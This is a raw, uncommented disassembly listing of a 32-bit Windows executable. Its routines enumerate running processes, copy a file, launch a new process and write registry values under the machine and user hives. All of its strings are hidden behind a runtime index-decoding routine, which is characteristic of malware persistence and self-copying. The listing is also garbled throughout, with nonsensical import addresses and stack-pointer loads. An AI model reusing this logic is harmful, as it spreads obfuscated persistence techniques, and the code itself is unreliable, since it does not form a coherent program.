[esi+75h] push eax push edx mov ebx, 8C5989h call sub_401523 lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], edi call sub_4011F9 push 0 push 0Ch push 5 push 4 push 3 push 16h push 13h lea eax, [esp+60h+var_24] push eax call sub_4018DE add esp, 20h push esi mov ecx, eax mov [esp+48h+var_4], 3 call sub_401726 add esi, 0A3h push eax push esi mov esp, 8A7166h call sub_401523 lea ecx, [esp+44h+var_24] mov [esp+44h+var_4], edi call sub_4011F9 mov ecx, [esp+44h+var_C] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn sub_40BEC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_40C070: ; CODE XREF: _294ADE7B:00401370j sub esp, 104h lea eax, [esp+0] push 4D38B3h push eax push 0 call dword ptr ds:269C59h push eax call dword ptr ds:534E2Ch mov eax, ds:dword_43FF08 test eax, eax jz loc_40C193 mov ecx, ds:dword_43FF04 test ecx, ecx jz loc_40C193 mov ecx, ds:dword_43FDD0 test ecx, ecx jz loc_40C193 push 0 push 2 call eax cmp eax, 0FFFFFFFFh mov ds:dword_43FF00, eax jz loc_40C193 push ebp push 69A716h push eax xor ebp, ebp mov ds:dword_43FDD8, 128h call dword ptr ds:74D38Bh test eax, eax jz loc_40C17C push ebx mov ebx, [esp+110h] push esi mov esi, ds:dword_4B3ABC push edi loc_40C0FD: ; CODE XREF: _294ADE7B:0040C177j mov ecx, 0C74D38h or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+10h] repne scasb not ecx dec ecx mov ecx, offset dword_471D34 push ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea edi, [esp+14h] sub edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push 2B8E9Ah add edx, ecx push edx call esi add esp, 0Ch test eax, eax jz short loc_40C163 mov ebx, 8AB8E9h or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push 4D5C74h mov ecx, ebx call sub_4015F5 push eax call esi add esp, 0Ch test eax, eax jnz short loc_40C164 loc_40C163: ; CODE XREF: _294ADE7B:0040C13Bj inc ebp loc_40C164: ; CODE XREF: _294ADE7B:0040C161j mov eax, ds:dword_43FF00 push 26AE3Ah push eax call dword ptr ds:53571Dh test eax, eax jnz short loc_40C0FD pop edi pop esi pop ebx loc_40C17C: ; CODE XREF: _294ADE7B:0040C0E7j mov ecx, ds:dword_43FF00 push ecx call dword ptr ds:29AB8Eh mov eax, ebp pop ebp add esp, 104h retn ; --------------------------------------------------------------------------- loc_40C193: ; CODE XREF: _294ADE7B:0040C096j ; _294ADE7B:0040C0A4j ... xor eax, eax add esp, 104h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_40C1F0: ; CODE XREF: _294ADE7B:00401E3Dj sub esp, 11Ch lea eax, [esp+18h] push ebx push esi push edi push 14D5C7h push eax call dword ptr ds:0A6AE3h mov esp, 68A6AEh or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+24h] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx push 345357h and ecx, 3 push 3 push eax push 1 rep movsb mov edi, ds:dword_4B38B4 lea eax, [esp+38h] push 80000000h push eax call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C2B6 lea ecx, [esp+1Ch] lea edx, [esp+0Ch] push ecx lea eax, [esp+18h] push edx push eax push esi call dword ptr ds:1A29ABh mov ebx, ds:dword_4B38C8 push esi call ebx mov ecx, [esp+12Ch] push 0 push 4D14D5h push 3 push 0 push 2 push 40000000h push ecx call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C2B6 lea edx, [esp+1Ch] lea eax, [esp+0Ch] push edx lea ecx, [esp+18h] push eax push ecx push esi call dword ptr ds:268A6Ah push esi call ebx loc_40C2B6: ; CODE XREF: _294ADE7B:0040C259j ; _294ADE7B:0040C29Bj pop edi pop esi pop ebx add esp, 11Ch retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C310 proc near ; CODE XREF: sub_401A64j var_19C = byte ptr -19Ch var_184 = byte ptr -184h var_174 = byte ptr -174h var_16C = byte ptr -16Ch var_15C = byte ptr -15Ch var_12C = dword ptr -12Ch var_110 = byte ptr -110h var_FC = word ptr -0FCh var_E8 = byte ptr -0E8h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push 134535h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 190h push ebx push esi mov esi, ecx push edi lea ecx, [esp+1A8h+var_16C] call sub_4013CF push offset word_49A29A push 24D14Dh lea ecx, [esp+1B0h+var_16C] mov [esp+1B0h+var_4], 0 call sub_401B40 push eax call dword ptr ds:1268A6h lea ecx, [esp+1A8h+var_16C] call sub_401726 push eax lea ecx, [esi+4] call sub_401564 lea ecx, [esp+1A8h+var_184] call sub_4013CF mov ebp, 6049A2h push 3824D1h push 5C1268h lea ecx, [esp+1B0h+var_184] mov byte ptr [esp+1B0h+var_4], bl call sub_401B40 push eax push 0 call dword ptr ds:6E0934h push eax call dword ptr ds:37049Ah push 5B824Dh call dword ptr ds:2DC126h mov esi, eax test esi, esi jz short loc_40C401 mov edi, ds:dword_4B38A8 push 56E093h push esi call edi push 6B7049h push esi mov ds:dword_43FF0C, eax call edi push 75B824h push esi mov ds:dword_43FF08, eax call edi push 7ADC12h push esi mov ds:dword_43FF04, eax call edi mov ds:dword_43FDD0, eax mov eax, ds:dword_43FF0C test eax, eax jz short loc_40C401 push ebx push 0 call eax loc_40C401: ; CODE XREF: sub_40C310+A7j ; sub_40C310+EAj mov esi, [esp+1A8h+arg_0] push 0 mov ecx, esi call sub_401726 push eax lea ecx, [esp+1B0h+var_184] call sub_401F91 test eax, eax jnz short loc_40C438 mov al, ds:byte_43FFF7 test al, al jz short loc_40C438 mov ecx, esi call sub_401726 push eax call sub_40157D add esp, 4 loc_40C438: ; CODE XREF: sub_40C310+10Dj ; sub_40C310+116j push 0 push 5 push 18h push 5 push 4Eh push 46h push 47h push 12h push 10h push 10h push 0Eh push 9 lea eax, [esp+1D8h+var_19C] push 17h push eax call sub_4018DE add esp, 38h mov ecx, eax mov byte ptr [esp+1A8h+var_4], 2 call sub_401726 push eax call sub_40157D add esp, 4 lea ecx, [esp+1A8h+var_19C] mov byte ptr [esp+1A8h+var_4], bl call sub_4011F9 push 0 push 5 push 18h push 5 push 4Eh push 14h push 13h push 0Fh push 8 push 0Ch push 0Ch lea ecx, [esp+1D4h+var_19C] push 4 push ecx call sub_4018DE add esp, 34h mov ecx, eax mov byte ptr [esp+1A8h+var_4], 3 call sub_401726 push eax call sub_40157D add esp, 4 lea ecx, [esp+1A8h+var_19C] mov byte ptr [esp+1A8h+var_4], bl call sub_4011F9 push 0 push 5 push 18h push 5 push 4Eh push 4 push 10h push 14h push 6 lea edx, [esp+1CCh+var_19C] push 14h push edx call sub_4018DE add esp, 2Ch mov ecx, eax mov byte ptr [esp+1A8h+var_4], 4 call sub_401726 push eax call sub_40157D add esp, 4 lea ecx, [esp+1A8h+var_19C] mov byte ptr [esp+1A8h+var_4], bl call sub_4011F9 push 0 push 5 push 18h push 5 push 4Eh push 14h push 13h push ebx push 0Ch push 2 push 13h lea eax, [esp+1D4h+var_19C] push 0Dh push eax call sub_4018DE add esp, 34h mov ecx, eax mov byte ptr [esp+1A8h+var_4], 5 call sub_401726 push eax call sub_40157D add esp, 4 lea ecx, [esp+1A8h+var_19C] mov byte ptr [esp+1A8h+var_4], bl call sub_4011F9 push 0 push 5 push 18h push 5 push 4Eh push 46h push 47h push 13h push 9 push 0Eh push 5 lea ecx, [esp+1D4h+var_19C] push 10h push ecx call sub_4018DE add esp, 34h mov ecx, eax mov byte ptr [esp+1A8h+var_4], 6 call sub_401726 push eax call sub_40157D add esp, 4 lea ecx, [esp+1A8h+var_19C] mov byte ptr [esp+1A8h+var_4], bl call sub_4011F9 push 0 push 5 push 18h push 5 push 4Eh push 8 push 3 push 14h push ebx push 10h push 13h lea edx, [esp+1D4h+var_19C] push 0Dh push edx call sub_4018DE add esp, 34h mov ecx, eax mov byte ptr [esp+1A8h+var_4], 7 call sub_401726 push eax call sub_40157D add esp, 4 lea ecx, [esp+1A8h+var_19C] mov byte ptr [esp+1A8h+var_4], bl call sub_4011F9 lea eax, [esp+1A8h+var_16C] push 0 push eax lea ecx, [esp+1B0h+var_184] call sub_40174E test eax, eax jnz loc_40C730 push ebp mov ecx, esi call sub_401726 push eax push 5Ch lea ecx, [esp+1B4h+var_16C] call sub_401726 push eax lea ecx, [esp+1B8h+var_110] push 7D6E09h push ecx call dword ptr ds:3EB704h mov edi, ds:dword_4B38D0 add esp, 14h call edi lea edx, [esp+184h+var_E8] push 0 push edx lea ecx, [esp+18Ch+var_15C] mov ebp, eax call sub_4015F5 mov esi, ds:dword_4B38AC push eax call esi test eax, eax jnz short loc_40C69F loc_40C66F: ; CODE XREF: sub_40C310+38Dj call edi sub eax, ebp add eax, 4FADC1h jnb short loc_40C69F push 67D6E0h call dword ptr ds:73EB70h lea eax, [esp+184h+var_E8] push 0 push eax lea ecx, [esp+18Ch+var_15C] call sub_4015F5 push eax call esi test eax, eax jz short loc_40C66F loc_40C69F: ; CODE XREF: sub_40C310+35Dj ; sub_40C310+368j mov al, ds:byte_440653 pop ebp test al, al jz short loc_40C6E2 mov esi, ds:dword_4B3AB4 push 39F5B8h lea ecx, [esp+184h+var_E8] push 1CFADCh push ecx call esi add esp, 0Ch lea ecx, [esp+180h+var_15C] push 4E7D6Eh call sub_401726 lea edx, [esp+184h+var_E8] push eax push edx call esi add esp, 0Ch loc_40C6E2: ; CODE XREF: sub_40C310+397j mov ebx, 0CB39F5h xor eax, eax lea edi, [esp+180h+var_12C] lea edx, [esp+180h+var_E8] rep stosd mov [esp+180h+var_FC], ax lea eax, [esp+180h+var_174] lea ecx, [esp+180h+var_12C] push eax push ecx push 0 push 0 push 28h push ebx push 0 push 0 push edx push 0 mov [esp+1A8h+var_12C], 44h call dword ptr ds:6D9CFAh test eax, eax jz short loc_40C730 push 0 call dword ptr ds:76CE7Dh loc_40C730: ; CODE XREF: sub_40C310+304j ; sub_40C310+416j lea ecx, [esp+1A8h+var_184] mov byte ptr [esp+1A8h+var_4], 0 call sub_4011F9 lea ecx, [esp+1A8h+var_16C] mov [esp+1A8h+var_4], 0FFFFFFFFh call sub_4011F9 mov ecx, [esp+1A8h+var_C] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx add esp, 19Ch retn 4 sub_40C310 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C8A0 proc near ; CODE XREF: sub_401172j mov al, ds:byte_43FFF9 test al, al jz short loc_40C8B4 push 7B673Eh call dword ptr ds:7DB39Fh loc_40C8B4: ; CODE XREF: sub_40C8A0+7j mov al, 1 retn sub_40C8A0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C8D0 proc near ; CODE XREF: sub_401D20j var_6D0 = dword ptr -6D0h var_6CC = dword ptr -6CCh var_6C8 = dword ptr -6C8h var_6C4 = dword ptr -6C4h var_6C0 = dword ptr -6C0h var_6BC = dword ptr -6BCh var_6B8 = dword ptr -6B8h var_6B4 = dword ptr -6B4h var_6B0 = byte ptr -6B0h var_6AC = byte ptr -6ACh var_694 = byte ptr -694h var_67C = byte ptr -67Ch var_664 = byte ptr -664h var_64C = byte ptr -64Ch var_634 = byte ptr -634h var_61C = byte ptr -61Ch var_604 = byte ptr -604h var_5EC = byte ptr -5ECh var_5D4 = byte ptr -5D4h var_5BC = byte ptr -5BCh var_5A4 = byte ptr -5A4h var_58C = byte ptr -58Ch var_574 = byte ptr -574h var_564 = dword ptr -564h var_534 = word ptr -534h var_520 = byte ptr -520h var_41C = byte ptr -41Ch var_318 = byte ptr -318h var_214 = byte ptr -214h var_110 = byte ptr -110h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 7ED9CFh mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 6C4h push esi lea eax, [esp+6D4h+var_41C] push 3F6CE7h push eax push 0 call dword ptr ds:5FB673h push eax call dword ptr ds:6FDB39h lea ecx, [esp+6D4h+var_318] push ecx push 77ED9Ch call dword ptr ds:3BF6CEh push 0 push 14h push 1 push 2 push 4Fh push 0Fh push 12h push 6 lea edx, [esp+6F4h+var_5EC] push 1 push edx call sub_4018DE add esp, 28h mov ecx, eax mov [esp+6D4h+var_4], 0 call sub_401726 push eax lea eax, [esp+6D8h+var_318] push eax lea ecx, [esp+6DCh+var_520] push 5DFB67h push ecx call dword ptr ds:2EFDB3h add esp, 10h lea ecx, [esp+6D4h+var_5EC] mov [esp+6D4h+var_4], 0FFFFFFFFh call sub_4011F9 push 0 push 0 push 2 push 0 push 0 lea edx, [esp+6E8h+var_520] push 40000000h push edx call dword ptr ds:177ED9h mov esi, eax test esi, esi jbe loc_40CE31 push ebx push ebp push edi lea ecx, [esp+6E0h+var_6AC] call sub_4013CF push 0 push 14h push 1 push 2 lea eax, [esp+6F0h+var_604] push 4Fh push eax mov [esp+6F8h+var_4], 1 call sub_4018DE add esp, 18h mov edi, eax push 0 push 39h push 10h push 0Dh push 5 push 14h push 39h push 4Eh push 0Ch push 5 lea ecx, [esp+708h+var_634] push 4 push ecx mov byte ptr [esp+710h+var_4], 2 call sub_4018DE add esp, 30h mov ebp, eax push 0 push 14h push 1 push 2 lea edx, [esp+6F0h+var_664] push 4Fh push edx mov byte ptr [esp+6F8h+var_4], 3 call sub_4018DE add esp, 18h mov ebx, eax push 0 push 39h push 10h push 0Dh push 5 push 14h push 39h push 4Eh push 20h push 52h push 4Eh push 0Ch push 5 lea eax, [esp+714h+var_67C] push 4 push eax mov byte ptr [esp+71Ch+var_4], 4 call sub_4018DE add esp, 3Ch mov [esp+6E0h+var_6B4], eax push 0 push 5 push 0Eh push 0Fh push 4 lea ecx, [esp+6F4h+var_61C] push 53h push ecx mov byte ptr [esp+6FCh+var_4], 5 call sub_4018DE add esp, 1Ch mov [esp+6E0h+var_6C8], eax push 0 push 14h push 12h push 1 push 14h push 13h push 4Eh push 0Fh push 14h push 0Fh lea edx, [esp+708h+var_5D4] push 7 push edx mov byte ptr [esp+710h+var_4], 6 call sub_4018DE add esp, 30h mov [esp+6E0h+var_6B8], eax push 0 push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 0Ch push 5 lea eax, [esp+708h+var_5A4] push 4 push eax mov byte ptr [esp+710h+var_4], 7 call sub_4018DE add esp, 30h mov [esp+6E0h+var_6C0], eax push 0 push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 20h push 52h push 4Eh push 0Ch push 5 lea ecx, [esp+714h+var_58C] push 4 push ecx mov byte ptr [esp+71Ch+var_4], 8 call sub_4018DE add esp, 3Ch mov [esp+6E0h+var_6D0], eax push 0 push 5 push 0Eh push 0Fh push 4 push 4Eh push 0Fh push 14h push 0Fh push 7 push 4Eh push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 14h push 13h push 9 mov byte ptr [esp+734h+var_4], 9 push 18h push 5 push 4Eh push 14h push 0Fh push 0Eh push 4Eh push 6 lea edx, [esp+754h+var_694] push 9 push edx call sub_4018DE add esp, 7Ch mov [esp+6E0h+var_6CC], eax push 0 push 14h push 12h push 1 push 14h push 13h lea eax, [esp+6F8h+var_5BC] push 53h push eax mov byte ptr [esp+700h+var_4], 0Ah call sub_4018DE add esp, 20h mov [esp+6E0h+var_6C4], eax push 0 push 6 push 6 push 0Fh push 4Eh push 0Fh push 8 push 3 push 5 lea ecx, [esp+704h+var_64C] push 56h push ecx mov byte ptr [esp+70Ch+var_4], 0Bh call sub_4018DE add esp, 2Ch mov [esp+6E0h+var_6BC], eax mov ecx, edi mov byte ptr [esp+6E0h+var_4], 0Ch call sub_401726 push eax mov ecx, ebp call sub_401726 push eax mov ecx, ebx call sub_401726 mov ecx, [esp+6E8h+var_6B4] push eax call sub_401726 mov ecx, [esp+6ECh+var_6C8] push eax call sub_401726 mov ecx, [esp+6F0h+var_6B8] push eax call sub_401726 mov ecx, [esp+6F4h+var_6C0] push eax call sub_401726 mov ecx, [esp+6F8h+var_6D0] push eax call sub_401726 mov ecx, [esp+6FCh+var_6CC] push eax call sub_401726 mov ecx, [esp+700h+var_6C4] push eax call sub_401726 mov ecx, [esp+704h+var_6BC] push eax call sub_401726 push eax push offset dword_4BBF6C lea edx, [esp+710h+var_6AC] push edx call sub_40102D add esp, 34h lea ecx, [esp+6E0h+var_64C] mov byte ptr [esp+6E0h+var_4], 0Bh call sub_4011F9 lea ecx, [esp+6E0h+var_5BC] mov byte ptr [esp+6E0h+var_4], 0Ah call sub_4011F9 lea ecx, [esp+6E0h+var_694] mov byte ptr [esp+6E0h+var_4], 9 call sub_4011F9 lea ecx, [esp+6E0h+var_58C] mov byte ptr [esp+6E0h+var_4], 8 call sub_4011F9 lea ecx, [esp+6E0h+var_5A4] mov byte ptr [esp+6E0h+var_4], 7 call sub_4011F9 lea ecx, [esp+6E0h+var_5D4] mov byte ptr [esp+6E0h+var_4], 6 call sub_4011F9 lea ecx, [esp+6E0h+var_61C] mov byte ptr [esp+6E0h+var_4], 5 call sub_4011F9 lea ecx, [esp+6E0h+var_67C] mov byte ptr [esp+6E0h+var_4], 4 call sub_4011F9 lea ecx, [esp+6E0h+var_664] mov byte ptr [esp+6E0h+var_4], 3 call sub_4011F9 lea ecx, [esp+6E0h+var_634] mov byte ptr [esp+6E0h+var_4], 2 call sub_4011F9 lea ecx, [esp+6E0h+var_604] mov byte ptr [esp+6E0h+var_4], 1 call sub_4011F9 lea eax, [esp+6E0h+var_6B0] push 0 push eax push 69h lea ecx, [esp+6ECh+var_6AC] call sub_401726 push eax push esi call dword ptr ds:65DFB6h push esi call dword ptr ds:72EFDBh mov ebx, 4F2EFDh xor eax, eax lea edi, [esp+6E0h+var_564] push 2F977Eh rep stosd lea ecx, [esp+6E4h+var_41C] mov [esp+6E4h+var_564], 44h push ecx push eax mov [esp+6ECh+var_534], ax call dword ptr ds:17CBBFh push eax call dword ptr ds:4BE5DFh lea edx, [esp+6E0h+var_41C] lea eax, [esp+6E0h+var_520] push edx push eax lea ecx, [esp+6E8h+var_214] push 25F2EFh push ecx call dword ptr ds:52F977h add esp, 10h lea edx, [esp+6E0h+var_110] lea eax, [esp+6E0h+var_214] push 297CBBh push edx push eax call dword ptr ds:54BE5Dh lea ecx, [esp+6E0h+var_574] lea edx, [esp+6E0h+var_564] push ecx push edx push 0 push 0 push 28h push 1 push 0 lea eax, [esp+6FCh+var_110] push 0 push eax push 0 call dword ptr ds:6A5F2Eh lea ecx, [esp+6E0h+var_6AC] mov [esp+6E0h+var_4], 0FFFFFFFFh call sub_4011F9 pop edi pop ebp pop ebx mov al, 1 pop esi mov ecx, [esp+6D0h+var_C] mov large fs:0, ecx add esp, 6D0h retn ; --------------------------------------------------------------------------- loc_40CE31: ; CODE XREF: sub_40C8D0+D6j mov ecx, [esp+6D4h+var_C] mov al, 1 pop esi mov large fs:0, ecx add esp, 6D0h retn sub_40C8D0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CFB0 proc near ; CODE XREF: sub_40168Bj var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push 352F97h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push ebp push esi push edi lea ecx, [esp+80h+var_54] call sub_4013CF lea ecx, [esp+80h+var_6C] mov [esp+80h+var_4], 0 call sub_4013CF lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 1 call sub_4013CF push 0 push 5 push 3 push 0Eh push 29h push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea eax, [esp+144h+var_24] mov bl, 2 push 2Dh push eax mov byte ptr [esp+14Ch+var_4], bl call sub_4018DE add esp, 0CCh push eax lea ecx, [esp+84h+var_6C] mov byte ptr [esp+84h+var_4], 3 call sub_401EAB lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_4011F9 push 0 push 13h push 5 push 3 push 9 push 16h push 12h push 5 push 2Dh push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+154h+var_24] push 2Dh push ecx call sub_4018DE add esp, 0DCh push eax lea ecx, [esp+84h+var_3C] mov byte ptr [esp+84h+var_4], 4 call sub_401EAB lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_4011F9 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea edx, [esp+134h+var_24] push 2Dh push edx call sub_4018DE add esp, 0BCh push eax lea ecx, [esp+84h+var_54] mov byte ptr [esp+84h+var_4], 5 call sub_401EAB lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_4011F9 lea eax, [esp+80h+var_70] push 0 push eax push 0 push 5A97CBh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_401726 mov ebp, ds:dword_4B3768 push eax push 80000002h call ebp mov esi, [esp+80h+arg_4] mov ecx, esi call sub_4015F5 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_4015F5 mov ebx, [esp+84h+arg_0] push eax push 1 push 0 mov ecx, ebx call sub_4015F5 mov ecx, [esp+90h+var_70] push eax push ecx call dword ptr ds:6D4BE5h mov edx, [esp+80h+var_70] push edx call dword ptr ds:76A5F2h push 0 lea eax, [esp+84h+var_70] lea ecx, [esp+84h+var_6C] push eax push 0 push 7B52F9h push 0 push 0 push 0 call sub_401726 push eax push 80000002h call ebp mov ecx, esi call sub_4015F5 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_4015F5 push eax push 1 push 0 mov ecx, ebx call sub_4015F5 mov ecx, [esp+90h+var_70] push eax push ecx call dword ptr ds:3DA97Ch mov edx, [esp+80h+var_70] push edx call dword ptr ds:5ED4BEh lea eax, [esp+80h+var_70] push 0 push eax push 0 push 2F6A5Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_401726 push eax push 80000001h call ebp mov ecx, esi call sub_4015F5 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_4015F5 push eax push 1 push 0 mov ecx, ebx call sub_4015F5 mov ecx, [esp+90h+var_70] push eax push ecx call dword ptr ds:17B52Fh mov edx, [esp+80h+var_70] push edx call dword ptr ds:0BDA97h lea eax, [esp+80h+var_70] push 0 push eax push 0 push 5ED4Bh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_401726 push eax push 80000001h call ebp mov ecx, esi call sub_4015F5 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_4015F5 push eax push 1 push 0 mov ecx, ebx call sub_4015F5 mov ecx, [esp+90h+var_70] push eax push ecx call dword_42F6A5 mov edx, [esp+80h+var_70] push edx call dword ptr ds:617B52h lea eax, [esp+80h+var_70] push 0 push eax push 0 push 70BDA9h push 0 push 0 push 0 lea ecx, [esp+9Ch+var_3C] call sub_401726 push eax push 80000002h call ebp mov ecx, esi call sub_4015F5 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_4015F5 push eax push 1 push 0 mov ecx, ebx call sub_4015F5 mov ecx, [esp+90h+var_70] push eax push ecx call dword ptr ds:785ED4h mov edx, [esp+80h+var_70] push edx call dword ptr ds:3C2F6Ah lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 1 call sub_4011F9 lea ecx, [esp+80h+var_6C] mov byte ptr [esp+80h+var_4], 0 call sub_4011F9 lea ecx, [esp+80h+var_54] mov [esp+80h+var_4], 0FFFFFFFFh call sub_4011F9 mov ecx, [esp+80h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 70h retn 8 sub_40CFB0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40D530 proc near ; CODE XREF: sub_4013F2j var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push 5E17B5h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push ebp push esi push edi lea ecx, [esp+80h+var_6C] call sub_4013CF lea ecx, [esp+80h+var_3C] mov [esp+80h+var_4], 0 call sub_4013CF lea ecx, [esp+80h+var_54] mov byte ptr [esp+80h+var_4], 1 call sub_4013CF push 0 push 5 push 3 push 0Eh push 29h push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea eax, [esp+144h+var_24] mov bl, 2 push 2Dh push eax mov byte ptr [esp+14Ch+var_4], bl call sub_4018DE add esp, 0CCh push eax lea ecx, [esp+84h+var_3C] mov byte ptr [esp+84h+var_4], 3 call sub_401EAB lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_4011F9 push 0 push 13h push 5 push 3 push 9 push 16h push 12h push 5 push 2Dh push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+154h+var_24] push 2Dh push ecx call sub_4018DE add esp, 0DCh push eax lea ecx, [esp+84h+var_54] mov byte ptr [esp+84h+var_4], 4 call sub_401EAB lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_4011F9 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea edx, [esp+134h+var_24] push 2Dh push edx call sub_4018DE add esp, 0BCh push eax lea ecx, [esp+84h+var_6C] mov byte ptr [esp+84h+var_4], 5 call sub_401EAB lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_4011F9 lea eax, [esp+80h+var_70] push 0 push eax push 0 push 2F0BDAh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_401726 mov esi, ds:dword_4B3768 push eax push 80000002h call esi mov edi, [esp+80h+arg_0] mov ecx, edi call sub_4015F5 mov ecx, [esp+80h+var_70] mov ebp, ds:dword_4B3730 push eax push ecx call ebp mov edx, [esp+80h+var_70] mov ebx, ds:dword_4B3778 push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 1785EDh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_401726 push eax push 80000002h call esi mov ecx, edi call sub_4015F5 mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push offset word_4BC2F6 push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_401726 push eax push 80000002h call esi mov ecx, edi call sub_4015F5 mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 